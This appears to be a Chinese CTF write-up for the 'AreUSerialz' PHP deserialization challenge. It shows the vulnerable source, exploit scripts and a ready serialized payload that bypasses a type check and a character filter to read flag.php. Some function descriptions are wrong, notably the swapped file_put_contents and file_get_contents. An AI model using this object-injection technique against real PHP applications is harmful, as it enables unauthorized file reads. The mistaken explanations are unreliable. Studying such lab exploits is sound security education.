[网鼎杯 2020 青龙组]AreUSerialz1
[网鼎杯 2020 青龙组]AreUSerialz1
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() { //如果op为1,调用write函数,如果op为2,调用read函数并输出,如果既不等于1又不等于2就输出"Bad Hacker!"
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() { //这个write()函数没什么看的必要,我们是要看flag.php的内容
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() { //根据filename将该文件内容赋给res变量并输出
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) { //输出s的内容
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")//强比较,op如果为字符串类型的2就会转化为字符串类型的1
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
以上就是这道题的全部内容,接下来就进行代码讲解
首先是主要函数的讲解
PHP访问修饰符
**public ** 公共的 任何成员都可以访问
private 私有的 只有自己可以访问
绕过方式:%00类名%00成员名
*protected ** 保护的 只有当前类的成员与继承该类的类才能访问
function 用于用户声明自定义函数
$this-> 表示在类本身内部使用本类的属性或者方法
isset 用来检测参数是否存在并且是否具有值
**include() ** 包含函数 ** **
highlight_file() 函数对文件进行语法高亮显示
**file_put_contents() **将文件内容输出
**file_get_contents() ** 将内容写进文件
**is_valid() ** 检查对象变量是否已经实例化,即实例变量的值是否是个有效的对象
strlen 计算字符串长度
ord 用于返回 “S” 的 ASCII值,其语法是ord(string),参数string必需,指要从中获得ASCII值的字符串
思路
根据上述的分析,我们的思路基本就是先绕过destruct()函数,方法就是使 op为整数2
然后还要绕过 is_valid函数的检查
在这里,我尝试写了好几次脚本
<?php
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "2";
$filename = "flag.php";
$content = "Hello World!"; // 必须给 content 属性一个初始值
}
}
$bai = serialize(new FileHandler());
echo $bai;
?>
//结果为O:11:"FileHandler":3:{s:5:"%00*%00op";N;s:11:"%00*%00filename";N;s:10:"%00*%00content";N;}
但是并没有输出任何东西,仔细想了想发现%00这个东西貌似过不了is_valid函数的检查,因为%的ascii值不在30到125之间,但是该怎么绕过呢,苦思冥想想不出以后查了大佬的wp,发现在设置变量的时候要用public修饰而不能用protected来修饰,使用protected修饰的话就会在变量前面加上*进行区分
上图一二行均为使用protected修饰,第三行是public
对脚本进行修改以后
<?php
class FileHandler {
public $op;
public $filename;
public $content;
function __construct() {
$this->op = 2;
$this->filename = "flag.php";
$this->content ;
}
}
$bai=serialize(new FileHandler());
echo $bai;
//结果为O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
可以得到答案
值得注意的是,当php版本大于7的时候,protected和public不进行区分,所以我们就可以通过改public来绕过is_valid函数,那如果php版本不是大于7呢
<?php
class FileHandler {
protected $op = 2;
protected $filename ='flag.php';
//题目中包含flag的文件
protected $content;
}
$bai = urlencode(serialize(new FileHandler));
//URL编码实例化后的类FileHandler序列化结果
$mao =str_replace('%00',"\\00",$bai);
//str_replace函数查找变量bai里面的数值%00并将其替换为\\00
$mao =str_replace('s','S',$mao);
//str_replace函数查找变量mao里面的数值s并将其替换为S
echo $mao
//打印结果
?>
这是我在网上找到的一位大佬的wp,他将得到的结果进行了替换,将%00替换为\\00,将s替换为S,也可以获得答案